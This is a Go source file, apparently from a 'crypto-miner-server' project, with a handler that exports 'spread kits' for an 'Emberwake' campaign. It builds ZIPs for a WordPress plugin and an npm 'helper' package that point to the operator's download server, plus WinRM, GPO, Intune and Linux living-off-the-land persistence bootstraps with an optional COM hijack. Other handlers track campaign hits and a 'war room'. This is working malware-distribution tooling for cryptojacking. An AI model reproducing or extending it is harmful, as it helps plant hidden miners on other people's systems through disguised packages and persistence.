Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
POST /api/v1/recon/scan probes fleet ports from the server host, crawls owned HTTP targets, maps findings to spread lanes, and records optional oath ledger rows.
405 lines
12 KiB
Go
405 lines
12 KiB
Go
package api
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"net/http"
|
|
"os"
|
|
"path/filepath"
|
|
"strconv"
|
|
"strings"
|
|
"sync"
|
|
"time"
|
|
|
|
dbpkg "crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/erasure"
|
|
|
|
"github.com/go-chi/chi/v5"
|
|
)
|
|
|
|
// SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export.
|
|
type SpreadHandler struct {
|
|
db *dbpkg.Database
|
|
dataDir string
|
|
projectRoot string
|
|
wsHub *WSHub
|
|
publicURL func() string
|
|
erasureShards *erasure.ShardStore
|
|
deployPlan *DeployPlanHandler
|
|
allowlistFn func() map[string]ServiceDeployLane
|
|
policyPathTracer *PathTracerHandler
|
|
policyFanoutCfgFn func() PolicyFanoutConfig
|
|
notesMu sync.RWMutex
|
|
}
|
|
|
|
func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler {
|
|
return &SpreadHandler{db: database, dataDir: dataDir, projectRoot: projectRoot, wsHub: wsHub}
|
|
}
|
|
|
|
func (h *SpreadHandler) notesPath() string {
|
|
return filepath.Join(h.dataDir, "emberwake-notes.json")
|
|
}
|
|
|
|
type emberwakeNotes struct {
|
|
Content string `json:"content"`
|
|
UpdatedAt string `json:"updated_at"`
|
|
UpdatedBy string `json:"updated_by"`
|
|
}
|
|
|
|
func (h *SpreadHandler) readNotes() emberwakeNotes {
|
|
h.notesMu.RLock()
|
|
defer h.notesMu.RUnlock()
|
|
data, err := os.ReadFile(h.notesPath())
|
|
if err != nil {
|
|
return emberwakeNotes{Content: "", UpdatedAt: "", UpdatedBy: ""}
|
|
}
|
|
var n emberwakeNotes
|
|
if json.Unmarshal(data, &n) != nil {
|
|
return emberwakeNotes{}
|
|
}
|
|
return n
|
|
}
|
|
|
|
func (h *SpreadHandler) writeNotes(n emberwakeNotes) error {
|
|
h.notesMu.Lock()
|
|
defer h.notesMu.Unlock()
|
|
data, err := json.MarshalIndent(n, "", " ")
|
|
if err != nil {
|
|
return err
|
|
}
|
|
return os.WriteFile(h.notesPath(), data, 0644)
|
|
}
|
|
|
|
// GET /api/v1/emberwake/notes
|
|
func (h *SpreadHandler) GetNotes(w http.ResponseWriter, r *http.Request) {
|
|
writeJSON(w, h.readNotes())
|
|
}
|
|
|
|
// PUT /api/v1/emberwake/notes
|
|
func (h *SpreadHandler) PutNotes(w http.ResponseWriter, r *http.Request) {
|
|
var body struct {
|
|
Content string `json:"content"`
|
|
}
|
|
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
n := emberwakeNotes{
|
|
Content: body.Content,
|
|
UpdatedAt: time.Now().UTC().Format(time.RFC3339),
|
|
UpdatedBy: AuthUsername(r),
|
|
}
|
|
if err := h.writeNotes(n); err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
if h.wsHub != nil {
|
|
h.wsHub.BroadcastEmberwakeNotes(n)
|
|
}
|
|
writeJSON(w, n)
|
|
}
|
|
|
|
// GET /api/v1/emberwake/campaigns
|
|
func (h *SpreadHandler) GetCampaigns(w http.ResponseWriter, r *http.Request) {
|
|
hits, err := h.db.ListCampaignHits(50)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
if hits == nil {
|
|
hits = []dbpkg.CampaignHitSummary{}
|
|
}
|
|
writeJSON(w, map[string]interface{}{"campaigns": hits})
|
|
}
|
|
|
|
// GET /api/v1/emberwake/war-room?days=7
|
|
func (h *SpreadHandler) GetWarRoom(w http.ResponseWriter, r *http.Request) {
|
|
days := 7
|
|
if raw := strings.TrimSpace(r.URL.Query().Get("days")); raw != "" {
|
|
if n, err := strconv.Atoi(raw); err == nil && n > 0 && n <= 90 {
|
|
days = n
|
|
}
|
|
}
|
|
data, err := h.db.ListWarRoom(days)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeJSON(w, data)
|
|
}
|
|
|
|
type spreadKitExportRequest struct {
|
|
BuildID string `json:"build_id"`
|
|
ServerURL string `json:"server_url"`
|
|
Campaign string `json:"campaign"`
|
|
}
|
|
|
|
type wordpressPluginExportRequest struct {
|
|
BuildID string `json:"build_id"`
|
|
ServerURL string `json:"server_url"`
|
|
Campaign string `json:"campaign"`
|
|
SiteName string `json:"site_name"`
|
|
}
|
|
|
|
type npmHelperExportRequest struct {
|
|
BuildID string `json:"build_id"`
|
|
ServerURL string `json:"server_url"`
|
|
Campaign string `json:"campaign"`
|
|
}
|
|
|
|
type spreadTemplateExportRequest struct {
|
|
Template string `json:"template"` // winrm | linux-lotl | gpo | intune
|
|
ServerURL string `json:"server_url"`
|
|
BuildID string `json:"build_id"`
|
|
Campaign string `json:"campaign"`
|
|
COMHijack bool `json:"com_hijack"`
|
|
LOTLMode string `json:"lotl_mode"` // systemd_run_user | crontab | both | off
|
|
AgentPath string `json:"agent_path"`
|
|
}
|
|
|
|
// POST /api/v1/builder/spread-kit-export
|
|
func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request) {
|
|
var req spreadKitExportRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
req.BuildID = strings.TrimSpace(req.BuildID)
|
|
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
|
req.Campaign = strings.TrimSpace(req.Campaign)
|
|
if req.ServerURL == "" {
|
|
http.Error(w, "server_url required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
|
|
templateDir := filepath.Join(h.projectRoot, "spread-kit-web-publisher")
|
|
if _, err := os.Stat(templateDir); err != nil {
|
|
http.Error(w, "spread-kit-web-publisher templates not found", http.StatusNotFound)
|
|
return
|
|
}
|
|
|
|
querySuffix, getQuerySuffix := buildQuerySuffix(req.BuildID, req.Campaign)
|
|
repl := map[string]string{
|
|
"{{SERVER_URL}}": req.ServerURL,
|
|
"{{BUILD_ID}}": req.BuildID,
|
|
"{{CAMPAIGN}}": req.Campaign,
|
|
"{{QUERY_SUFFIX}}": querySuffix,
|
|
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
|
|
"{{CAMPAIGN_QUERY}}": querySuffix,
|
|
"{{PIN_QUERY}}": "",
|
|
}
|
|
|
|
data, err := zipTemplateReplacements(templateDir, repl, nil)
|
|
if err != nil {
|
|
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
|
|
filename := "emberwake-spread-kit.zip"
|
|
if req.Campaign != "" {
|
|
filename = "emberwake-" + sanitizeExportSlug(req.Campaign) + ".zip"
|
|
}
|
|
writeZipAttachment(w, filename, data)
|
|
}
|
|
|
|
// POST /api/v1/builder/wordpress-plugin-export
|
|
func (h *SpreadHandler) ExportWordPressPlugin(w http.ResponseWriter, r *http.Request) {
|
|
var req wordpressPluginExportRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
req.BuildID = strings.TrimSpace(req.BuildID)
|
|
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
|
req.Campaign = strings.TrimSpace(req.Campaign)
|
|
req.SiteName = strings.TrimSpace(req.SiteName)
|
|
if req.ServerURL == "" {
|
|
http.Error(w, "server_url required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if req.SiteName == "" {
|
|
http.Error(w, "site_name required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
|
|
templateDir := filepath.Join(h.projectRoot, "templates", "wordpress-plugin", "plugin-template")
|
|
if _, err := os.Stat(templateDir); err != nil {
|
|
http.Error(w, "wordpress plugin templates not found", http.StatusNotFound)
|
|
return
|
|
}
|
|
|
|
slug := sanitizeExportSlug(req.SiteName)
|
|
wpCampaign := "wp-" + slug
|
|
downloadURL := req.ServerURL + "/get?c=" + wpCampaign
|
|
if req.BuildID != "" {
|
|
downloadURL += "&pin=" + req.BuildID
|
|
}
|
|
|
|
repl := map[string]string{
|
|
"{{SERVER_URL}}": req.ServerURL,
|
|
"{{BUILD_ID}}": req.BuildID,
|
|
"{{CAMPAIGN}}": wpCampaign,
|
|
"{{SITE_NAME}}": slug,
|
|
"{{PLUGIN_SLUG}}": slug,
|
|
"{{PLUGIN_NAME}}": slugDisplayName(slug),
|
|
"{{WP_CAMPAIGN}}": wpCampaign,
|
|
"{{DOWNLOAD_URL}}": downloadURL,
|
|
"{{VERSION}}": "1.0.0",
|
|
}
|
|
|
|
remap := func(rel string) string {
|
|
rel = filepath.ToSlash(rel)
|
|
if rel == "plugin.php" {
|
|
return slug + "/" + slug + ".php"
|
|
}
|
|
return slug + "/" + rel
|
|
}
|
|
|
|
data, err := zipTemplateReplacements(templateDir, repl, remap)
|
|
if err != nil {
|
|
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeZipAttachment(w, slug+"-wordpress-plugin.zip", data)
|
|
}
|
|
|
|
// POST /api/v1/builder/npm-helper-export
|
|
func (h *SpreadHandler) ExportNpmHelper(w http.ResponseWriter, r *http.Request) {
|
|
var req npmHelperExportRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
req.BuildID = strings.TrimSpace(req.BuildID)
|
|
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
|
req.Campaign = strings.TrimSpace(req.Campaign)
|
|
if req.ServerURL == "" {
|
|
http.Error(w, "server_url required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if req.Campaign == "" {
|
|
req.Campaign = "npm-helper"
|
|
}
|
|
|
|
templateDir := filepath.Join(h.projectRoot, "templates", "npm-helper-package")
|
|
if _, err := os.Stat(templateDir); err != nil {
|
|
http.Error(w, "npm helper templates not found", http.StatusNotFound)
|
|
return
|
|
}
|
|
|
|
querySuffix, _ := buildQuerySuffix(req.BuildID, req.Campaign)
|
|
pkgName := "@aetherforge/" + sanitizeExportSlug(req.Campaign) + "-helper"
|
|
repl := map[string]string{
|
|
"{{SERVER_URL}}": req.ServerURL,
|
|
"{{BUILD_ID}}": req.BuildID,
|
|
"{{CAMPAIGN}}": req.Campaign,
|
|
"{{QUERY_SUFFIX}}": querySuffix,
|
|
"{{PACKAGE_NAME}}": pkgName,
|
|
}
|
|
|
|
data, err := zipTemplateReplacements(templateDir, repl, nil)
|
|
if err != nil {
|
|
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeZipAttachment(w, sanitizeExportSlug(req.Campaign)+"-npm-helper.zip", data)
|
|
}
|
|
|
|
// POST /api/v1/builder/spread-template-export
|
|
func (h *SpreadHandler) ExportSpreadTemplate(w http.ResponseWriter, r *http.Request) {
|
|
var req spreadTemplateExportRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
req.Template = strings.TrimSpace(strings.ToLower(req.Template))
|
|
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
|
req.BuildID = strings.TrimSpace(req.BuildID)
|
|
req.Campaign = strings.TrimSpace(req.Campaign)
|
|
req.LOTLMode = strings.TrimSpace(req.LOTLMode)
|
|
req.AgentPath = strings.TrimSpace(req.AgentPath)
|
|
if req.ServerURL == "" {
|
|
http.Error(w, "server_url required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if req.Template == "" {
|
|
http.Error(w, "template required (winrm|linux-lotl|gpo|intune)", http.StatusBadRequest)
|
|
return
|
|
}
|
|
|
|
subdir, filename, err := spreadTemplatePaths(req.Template)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusBadRequest)
|
|
return
|
|
}
|
|
templateDir := filepath.Join(h.projectRoot, "templates", "spread", subdir)
|
|
if _, err := os.Stat(templateDir); err != nil {
|
|
http.Error(w, "spread template not found: "+subdir, http.StatusNotFound)
|
|
return
|
|
}
|
|
|
|
querySuffix, getQuerySuffix := buildQuerySuffix(req.BuildID, req.Campaign)
|
|
comHijack := "false"
|
|
if req.COMHijack {
|
|
comHijack = "true"
|
|
}
|
|
lotlMode := req.LOTLMode
|
|
if lotlMode == "" {
|
|
lotlMode = "systemd_run_user"
|
|
}
|
|
agentPath := req.AgentPath
|
|
if agentPath == "" {
|
|
agentPath = `C:\ProgramData\AetherForge\worker.exe`
|
|
}
|
|
|
|
repl := map[string]string{
|
|
"{{SERVER_URL}}": req.ServerURL,
|
|
"{{BUILD_ID}}": req.BuildID,
|
|
"{{CAMPAIGN}}": req.Campaign,
|
|
"{{QUERY_SUFFIX}}": querySuffix,
|
|
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
|
|
"{{COM_HIJACK}}": comHijack,
|
|
"{{LOTL_MODE}}": lotlMode,
|
|
"{{AGENT_PATH}}": agentPath,
|
|
}
|
|
|
|
data, err := zipTemplateReplacements(templateDir, repl, nil)
|
|
if err != nil {
|
|
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeZipAttachment(w, filename, data)
|
|
}
|
|
|
|
func spreadTemplatePaths(template string) (subdir, zipName string, err error) {
|
|
switch template {
|
|
case "winrm":
|
|
return "winrm", "aetherforge-winrm-bootstrap.zip", nil
|
|
case "linux-lotl", "linux_lotl":
|
|
return "linux", "aetherforge-linux-lotl.zip", nil
|
|
case "gpo", "enterprise-gpo":
|
|
return "enterprise", "aetherforge-gpo-startup.zip", nil
|
|
case "intune", "enterprise-intune":
|
|
return "enterprise", "aetherforge-intune-startup.zip", nil
|
|
default:
|
|
return "", "", fmt.Errorf("unknown template %q", template)
|
|
}
|
|
}
|
|
|
|
// PUT /api/v1/builds/{id}/public
|
|
func (h *SpreadHandler) SetBuildPublic(w http.ResponseWriter, r *http.Request) {
|
|
id := chi.URLParam(r, "id")
|
|
var body struct {
|
|
Public bool `json:"public"`
|
|
}
|
|
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if err := h.db.SetBuildPublic(id, body.Public); err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeJSON(w, map[string]interface{}{"ok": true, "id": id, "public": body.Public})
|
|
}
|